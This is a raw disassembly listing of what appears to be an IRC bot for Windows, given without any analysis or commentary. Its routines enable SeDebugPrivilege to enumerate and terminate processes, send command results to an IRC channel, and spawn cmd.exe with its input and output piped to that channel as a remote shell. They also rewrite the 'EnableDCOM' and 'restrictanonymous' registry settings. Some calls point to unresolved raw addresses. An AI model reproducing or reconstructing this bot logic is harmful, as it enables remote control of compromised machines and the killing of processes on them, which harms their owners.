; Attributes: bp-based frame


sub_41CDFD	proc near		; CODE XREF: sub_4021E5+4CA3p
					; sub_41D094+7Dp

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= byte ptr -550h
var_434		= byte ptr -434h
var_330		= byte ptr -330h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		and	[ebp+var_12C], 0
		push	49h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_128]
		rep stosd
		and	[ebp+var_554], 0
		mov	ecx, 88h
		xor	eax, eax
		lea	edi, [ebp+var_550]
		rep stosd
		cmp	dword_4E1720, 0
		jz	loc_41D08F
		cmp	dword_4E1704, 0
		jz	loc_41D08F
		cmp	dword_4E1614, 0
		jz	loc_41D08F
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41CD6B
		pop	ecx
		pop	ecx
		push	0
		push	0Fh
		call	dword_4E1720	; CreateToolhelp32Snapshot
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0FFFFFFFFh
		jz	loc_41D081
		mov	[ebp+var_12C], 128h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_130]
		call	dword_4E1704	; Process32First
		test	eax, eax
		jz	loc_41D075


loc_41CEA8:				; CODE XREF: sub_41CDFD:loc_41D070j
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_130]
		call	dword_4E1614	; Process32Next
		test	eax, eax
		jz	loc_41D075
		cmp	[ebp+arg_10], 0
		jz	short loc_41CF43
		and	[ebp+var_558], 0
		jmp	short loc_41CEDF
; ---------------------------------------------------------------------------


loc_41CED2:				; CODE XREF: sub_41CDFD:loc_41CF3Cj
		mov	eax, [ebp+var_558]
		inc	eax
		mov	[ebp+var_558], eax


loc_41CEDF:				; CODE XREF: sub_41CDFD+D3j
		cmp	[ebp+var_558], 18h
		jnb	short loc_41CF3E
		mov	eax, [ebp+var_558]
		push	off_44F3D8[eax*4]
		lea	eax, [ebp+var_108]
		push	eax
		call	near ptr 2920000h
		nop
		test	eax, eax
		jnz	short loc_41CF3C
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 27B0949h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41CF3A
		push	0
		push	[ebp+var_4]
		nop
		call	near ptr 28503F0h
		test	eax, eax
		jnz	short loc_41CF3A
		push	[ebp+var_4]
		nop
		call	near ptr 2790578h


loc_41CF3A:				; CODE XREF: sub_41CDFD+123j
					; sub_41CDFD+132j
		jmp	short loc_41CF3E
; ---------------------------------------------------------------------------


loc_41CF3C:				; CODE XREF: sub_41CDFD+107j
		jmp	short loc_41CED2
; ---------------------------------------------------------------------------


loc_41CF3E:				; CODE XREF: sub_41CDFD+E9j
					; sub_41CDFD:loc_41CF3Aj
		jmp	loc_41D070
; ---------------------------------------------------------------------------


loc_41CF43:				; CODE XREF: sub_41CDFD+CAj
		cmp	[ebp+arg_C], 0
		jnz	loc_41D018
		cmp	[ebp+arg_4], 0
		jz	loc_41D016
		push	[ebp+var_124]
		push	8
		call	dword_4E1720	; CreateToolhelp32Snapshot
		mov	[ebp+var_4], eax
		mov	[ebp+var_554], 224h
		cmp	[ebp+arg_14], 0
		jz	short loc_41CFD2
		lea	eax, [ebp+var_554]
		push	eax
		push	[ebp+var_4]
		call	dword_4E15C0	; Module32First
		test	eax, eax
		jz	short loc_41CFAF
		push	[ebp+var_124]
		lea	eax, [ebp+var_434]
		push	eax
		push	offset aSD	; " %s (%d)"
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_41CFD0
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CDFD+18Dj
		push	[ebp+var_124]
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_41CFD0:				; CODE XREF: sub_41CDFD+1B0j
		jmp	short loc_41CFF3
; ---------------------------------------------------------------------------


loc_41CFD2:				; CODE XREF: sub_41CDFD+179j
		push	[ebp+var_124]
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aSD_1	; " %s (%d)"
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_41CFF3:				; CODE XREF: sub_41CDFD:loc_41CFD0j
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_330]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		push	[ebp+var_4]
		call	near ptr 2790578h
		nop


loc_41D016:				; CODE XREF: sub_41CDFD+154j
		jmp	short loc_41D070
; ---------------------------------------------------------------------------


loc_41D018:				; CODE XREF: sub_41CDFD+14Aj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41D070
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 27B0949h
		mov	[ebp+var_4], eax
		push	[ebp+var_130]
		nop
		call	near ptr 2790578h
		push	0
		push	[ebp+var_4]
		call	near ptr 28503F0h
		nop
		test	eax, eax
		jnz	short loc_41D06B
		push	[ebp+var_4]
		call	near ptr 2790578h
		nop
		xor	eax, eax
		jmp	short loc_41D091
; ---------------------------------------------------------------------------


loc_41D06B:				; CODE XREF: sub_41CDFD+25Fj
		push	1
		pop	eax
		jmp	short loc_41D091
; ---------------------------------------------------------------------------


loc_41D070:				; CODE XREF: sub_41CDFD:loc_41CF3Ej
					; sub_41CDFD:loc_41D016j ...
		jmp	loc_41CEA8
; ---------------------------------------------------------------------------


loc_41D075:				; CODE XREF: sub_41CDFD+A5j
					; sub_41CDFD+C0j
		push	[ebp+var_130]
		nop
		call	near ptr 2790578h


loc_41D081:				; CODE XREF: sub_41CDFD+80j
		push	0
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_41CD6B
		pop	ecx
		pop	ecx


loc_41D08F:				; CODE XREF: sub_41CDFD+3Bj
					; sub_41CDFD+48j ...
		xor	eax, eax


loc_41D091:				; CODE XREF: sub_41CDFD+26Cj
					; sub_41CDFD+271j
		pop	edi
		leave
		retn
sub_41CDFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D094	proc near		; DATA XREF: sub_4021E5+2DB0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	26h
		pop	ecx
		lea	edi, [ebp+var_9C]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+94h], 1
		push	offset unk_44F5D0
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_C], 0
		jnz	short loc_41D0FA
		push	0
		push	[ebp+var_10]
		lea	eax, [ebp+var_29C]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40B00F
		add	esp, 14h


loc_41D0FA:				; CODE XREF: sub_41D094+43j
		push	[ebp+var_14]
		push	0
		push	0
		push	[ebp+var_10]
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_41CDFD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41D132
		push	offset unk_44F5F0
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41D145
; ---------------------------------------------------------------------------


loc_41D132:				; CODE XREF: sub_41D094+87j
		push	offset unk_44F614
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D145:				; CODE XREF: sub_41D094+9Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_41D16C
		push	0
		push	[ebp+var_10]
		lea	eax, [ebp+var_29C]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40B00F
		add	esp, 14h


loc_41D16C:				; CODE XREF: sub_41D094+B5j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_18]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4
sub_41D094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D190	proc near		; CODE XREF: sub_4021E5+4D81p
					; sub_40D4E0+A0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 27B0949h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41D1D1
		push	0
		push	[ebp+var_8]
		call	near ptr 28503F0h
		nop
		test	eax, eax
		jnz	short loc_41D1D1
		and	[ebp+var_4], 0
		push	[ebp+var_8]
		nop
		call	near ptr 2790578h


loc_41D1D1:				; CODE XREF: sub_41D190+23j
					; sub_41D190+32j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41D190	endp

; ---------------------------------------------------------------------------
word_41D1D6	dw 8B55h		; DATA XREF: sub_4016A7+48Do
		dd 58016AECh, 2274C085h, 6A016Ah, 2 dup(6A006Ah), 0FFFC0CE8h
		dd 18C483FFh, 0F3D435FFh, 0E8900044h, 239328Ah,	0C033D7EBh
		dd 4C25Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D208	proc near		; CODE XREF: sub_41D24C+2Cp
					; sub_41D286+7Ep ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4E9150, 0FFFFFFFFh
		jz	short loc_41D220
		push	dword_4E9150
		nop
		call	near ptr 2790578h


loc_41D220:				; CODE XREF: sub_41D208+Aj
		cmp	dword_4E9158, 0FFFFFFFFh
		jz	short loc_41D235
		push	dword_4E9158
		call	near ptr 2790578h
		nop


loc_41D235:				; CODE XREF: sub_41D208+1Fj
		cmp	dword_4E914C, 0FFFFFFFFh
		jz	short loc_41D24A
		push	dword_4E914C
		nop
		call	near ptr 2790578h


loc_41D24A:				; CODE XREF: sub_41D208+34j
		pop	ebp
		retn
sub_41D208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D24C	proc near		; CODE XREF: sub_4021E5+53CAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_4E9154
		call	near ptr 28407DDh
		nop
		test	eax, eax
		jnz	short loc_41D281
		call	sub_41D208
		xor	eax, eax
		jmp	short locret_41D284
; ---------------------------------------------------------------------------


loc_41D281:				; CODE XREF: sub_41D24C+2Aj
		push	1
		pop	eax

locret_41D284:				; CODE XREF: sub_41D24C+33j
		leave
		retn
sub_41D24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D286	proc near		; CODE XREF: sub_41D30D+6Ep
					; sub_41D30D+C8p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4E9198
		push	[ebp+arg_4]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D2C9
		push	7D0h
		nop
		call	near ptr 27B048Ah
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_41D2E0
; ---------------------------------------------------------------------------


loc_41D2C9:				; CODE XREF: sub_41D286+1Aj
		push	[ebp+arg_8]
		push	offset aS_25	; "%s"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_41D2E0:				; CODE XREF: sub_41D286+41j
		push	0
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		test	eax, eax
		jg	short loc_41D309
		call	sub_41D208


loc_41D309:				; CODE XREF: sub_41D286+7Cj
		xor	eax, eax
		leave
		retn
sub_41D286	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D30D	proc near		; DATA XREF: sub_41D4E3+21Ao

var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20C], eax


loc_41D31F:				; CODE XREF: sub_41D30D+ECj
					; sub_41D30D+1A1j
		push	1
		pop	eax
		test	eax, eax
		jz	loc_41D4B3
		and	[ebp+var_210], 0
		push	200h
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	dword_4E9150
		call	near ptr 29208ECh
		nop
		test	eax, eax
		jnz	short loc_41D397
		push	offset unk_44F64C
		push	offset dword_4E915C
		push	dword_4E9190
		call	sub_41D286
		add	esp, 0Ch
		push	[ebp+var_20C]
		call	sub_40D802
		pop	ecx
		push	1
		nop
		call	near ptr 2830000h


loc_41D397:				; CODE XREF: sub_41D30D+5Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_41D3FE
		lea	eax, [ebp+var_218]
		push	eax
		push	dword_4E914C
		nop
		call	near ptr 292045Dh
		test	eax, eax
		jz	short loc_41D3F1
		cmp	[ebp+var_218], 103h
		jz	short loc_41D3F1
		call	sub_41D208
		push	offset unk_44F67C
		push	offset dword_4E915C
		push	dword_4E9190
		call	sub_41D286
		add	esp, 0Ch
		push	[ebp+var_20C]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h


loc_41D3F1:				; CODE XREF: sub_41D30D+A5j
					; sub_41D30D+B1j
		push	0Ah
		call	near ptr 27B048Ah
		nop
		jmp	loc_41D31F
; ---------------------------------------------------------------------------


loc_41D3FE:				; CODE XREF: sub_41D30D+8Ej
		and	[ebp+var_214], 0
		jmp	short loc_41D414
; ---------------------------------------------------------------------------


loc_41D407:				; CODE XREF: sub_41D30D:loc_41D43Ej
		mov	eax, [ebp+var_214]
		inc	eax
		mov	[ebp+var_214], eax


loc_41D414:				; CODE XREF: sub_41D30D+F8j
		mov	eax, [ebp+var_214]
		cmp	eax, [ebp+var_4]
		jnb	short loc_41D440
		mov	eax, [ebp+var_214]
		movsx	eax, [ebp+eax+var_208]
		cmp	eax, 0Ah
		jnz	short loc_41D43E
		mov	[ebp+var_210], 1
		jmp	short loc_41D440
; ---------------------------------------------------------------------------


loc_41D43E:				; CODE XREF: sub_41D30D+123j
		jmp	short loc_41D407
; ---------------------------------------------------------------------------


loc_41D440:				; CODE XREF: sub_41D30D+110j
					; sub_41D30D+12Fj
		cmp	[ebp+var_210], 0
		jz	short loc_41D455
		mov	eax, [ebp+var_214]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41D45C
; ---------------------------------------------------------------------------


loc_41D455:				; CODE XREF: sub_41D30D+13Aj
		mov	[ebp+var_4], 200h


loc_41D45C:				; CODE XREF: sub_41D30D+146j
		push	200h
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	dword_4E9150
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41D494
		jmp	short loc_41D4B3
; ---------------------------------------------------------------------------


loc_41D494:				; CODE XREF: sub_41D30D+183j
		lea	eax, [ebp+var_208]
		push	eax
		push	offset dword_4E915C
		push	dword_4E9190
		call	sub_41D286
		add	esp, 0Ch
		jmp	loc_41D31F
; ---------------------------------------------------------------------------


loc_41D4B3:				; CODE XREF: sub_41D30D+17j
					; sub_41D30D+185j
		push	offset unk_44F6A4
		push	offset dword_4E915C
		push	dword_4E9190
		call	sub_41D286
		add	esp, 0Ch
		push	[ebp+var_20C]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		leave
		retn	4
sub_41D30D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4E3	proc near		; CODE XREF: sub_4021E5+311Cp

var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_364		= byte ptr -364h
var_360		= dword	ptr -360h
var_35C		= byte ptr -35Ch
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_128		= dword	ptr -128h
var_124		= word ptr -124h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 37Ch
		call	sub_41D208
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	0
		call	dword_4E17BC	; SearchPathA
		test	eax, eax
		jnz	short loc_41D51A
		or	eax, 0FFFFFFFFh
		jmp	locret_41D75D
; ---------------------------------------------------------------------------


loc_41D51A:				; CODE XREF: sub_41D4E3+2Dj
		mov	[ebp+var_110], 0Ch
		mov	[ebp+var_108], 1
		and	[ebp+var_10C], 0
		push	0
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_41D55E
		or	eax, 0FFFFFFFFh
		jmp	locret_41D75D
; ---------------------------------------------------------------------------


loc_41D55E:				; CODE XREF: sub_41D4E3+71j
		push	0
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_41D587
		or	eax, 0FFFFFFFFh
		jmp	locret_41D75D
; ---------------------------------------------------------------------------


loc_41D587:				; CODE XREF: sub_41D4E3+9Aj
		push	3
		push	0
		push	0
		push	offset dword_4E9154
		nop
		call	near ptr 2850A56h
		push	eax
		push	[ebp+var_360]
		nop
		call	near ptr 2850A56h
		push	eax
		call	near ptr 28504AFh
		nop
		test	eax, eax
		jnz	short loc_41D5B8
		or	eax, 0FFFFFFFFh
		jmp	locret_41D75D
; ---------------------------------------------------------------------------


loc_41D5B8:				; CODE XREF: sub_41D4E3+CBj
		push	10h
		push	0
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_154]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_154], 44h
		mov	[ebp+var_128], 101h
		and	[ebp+var_124], 0
		mov	eax, [ebp+var_378]
		mov	[ebp+var_11C], eax
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_118], eax
		mov	eax, [ebp+var_15C]
		mov	[ebp+var_114], eax
		lea	eax, [ebp+var_374]
		push	eax
		lea	eax, [ebp+var_154]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset dword_4E919C
		lea	eax, [ebp+var_104]
		push	eax
		nop
		call	near ptr 2790973h
		test	eax, eax
		jnz	short loc_41D656
		or	eax, 0FFFFFFFFh
		jmp	locret_41D75D
; ---------------------------------------------------------------------------


loc_41D656:				; CODE XREF: sub_41D4E3+169j
		push	[ebp+var_378]
		call	near ptr 2790578h
		nop
		mov	eax, [ebp+var_158]
		mov	dword_4E9150, eax
		mov	eax, [ebp+var_360]
		mov	dword_4E9158, eax
		mov	eax, [ebp+var_374]
		mov	dword_4E914C, eax
		push	[ebp+var_370]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp+arg_0]
		mov	dword_4E9190, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_41D6AE
		push	[ebp+arg_4]
		push	offset dword_4E915C
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41D6BF
; ---------------------------------------------------------------------------


loc_41D6AE:				; CODE XREF: sub_41D4E3+1B8j
		push	offset dword_4E91A0
		push	offset dword_4E915C
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D6BF:				; CODE XREF: sub_41D4E3+1C9j
		push	0
		push	0Ah
		push	offset unk_44F6DC
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_37C]
		imul	eax, 234h
		mov	ecx, [ebp+var_36C]
		mov	dword_454620[eax], ecx
		lea	eax, [ebp+var_364]
		push	eax
		push	0
		push	[ebp+var_37C]
		push	offset sub_41D30D
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_37C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_37C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jnz	short loc_41D75B
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_44F700
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41D75B:				; CODE XREF: sub_41D4E3+24Ej
		xor	eax, eax

locret_41D75D:				; CODE XREF: sub_41D4E3+32j
					; sub_41D4E3+76j ...
		leave
		retn
sub_41D4E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D75F	proc near		; DATA XREF: sub_4021E5+1C66o

var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	26h
		pop	ecx
		lea	edi, [ebp+var_9C]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+94h], 1
		cmp	[ebp+var_14], 0
		jz	short loc_41D7AE
		push	[ebp+var_C]
		push	[ebp+var_10]
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_41D7E0
		add	esp, 10h
		jmp	short loc_41D7C9
; ---------------------------------------------------------------------------


loc_41D7AE:				; CODE XREF: sub_41D75F+30j
		push	[ebp+var_C]
		push	[ebp+var_10]
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_41DC42
		add	esp, 10h


loc_41D7C9:				; CODE XREF: sub_41D75F+4Dj
		push	[ebp+var_18]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
sub_41D75F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7E0	proc near		; CODE XREF: sub_41D75F+45p

var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		cmp	dword_4E17D0, 0
		jnz	loc_41D962
		lea	eax, [ebp+var_204]
		push	eax
		push	2001Fh
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	dword_4E1770	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41D889
		mov	ax, word_44F778
		mov	[ebp+var_208], ax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	1
		push	0
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_204]
		call	dword_4E1724	; RegSetValueExA
		test	eax, eax
		jz	short loc_41D868
		push	offset dword_44F788
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41D87B
; ---------------------------------------------------------------------------


loc_41D868:				; CODE XREF: sub_41D7E0+71j
		push	offset dword_44F7AC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D87B:				; CODE XREF: sub_41D7E0+86j
		push	[ebp+var_204]
		call	dword_4E16DC	; RegCloseKey
		jmp	short loc_41D89C
; ---------------------------------------------------------------------------


loc_41D889:				; CODE XREF: sub_41D7E0+36j
		push	offset dword_44F7CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D89C:				; CODE XREF: sub_41D7E0+A7j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41D8BC
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41D8BC:				; CODE XREF: sub_41D7E0+C0j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		lea	eax, [ebp+var_204]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	80000002h
		call	dword_4E1770	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41D94D
		mov	[ebp+var_20C], 1
		push	4
		lea	eax, [ebp+var_20C]
		push	eax
		push	4
		push	0
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_204]
		call	dword_4E1724	; RegSetValueExA
		test	eax, eax
		jz	short loc_41D92C
		push	offset dword_44F810
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41D93F
; ---------------------------------------------------------------------------


loc_41D92C:				; CODE XREF: sub_41D7E0+135j
		push	offset dword_44F84C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D93F:				; CODE XREF: sub_41D7E0+14Aj
		push	[ebp+var_204]
		call	dword_4E16DC	; RegCloseKey
		jmp	short loc_41D960
; ---------------------------------------------------------------------------


loc_41D94D:				; CODE XREF: sub_41D7E0+109j
		push	offset dword_44F880
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D960:				; CODE XREF: sub_41D7E0+16Bj
		jmp	short loc_41D975
; ---------------------------------------------------------------------------


loc_41D962:				; CODE XREF: sub_41D7E0+10j
		push	offset dword_44F8BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41D975:				; CODE XREF: sub_41D7E0:loc_41D960j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41D995
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41D995:				; CODE XREF: sub_41D7E0+199j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		cmp	dword_4E17F8, 0
		jnz	loc_41DBFD
		and	[ebp+var_21C], 0
		and	[ebp+var_224], 0
		and	[ebp+var_214], 0


loc_41D9C4:				; CODE XREF: sub_41D7E0+402j
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_218]
		push	eax
		push	1F6h
		push	0
		call	dword_4E1644
		mov	[ebp+var_220], eax
		cmp	[ebp+var_220], 0
		jz	short loc_41DA0E
		cmp	[ebp+var_220], 0EAh
		jnz	loc_41DB1B
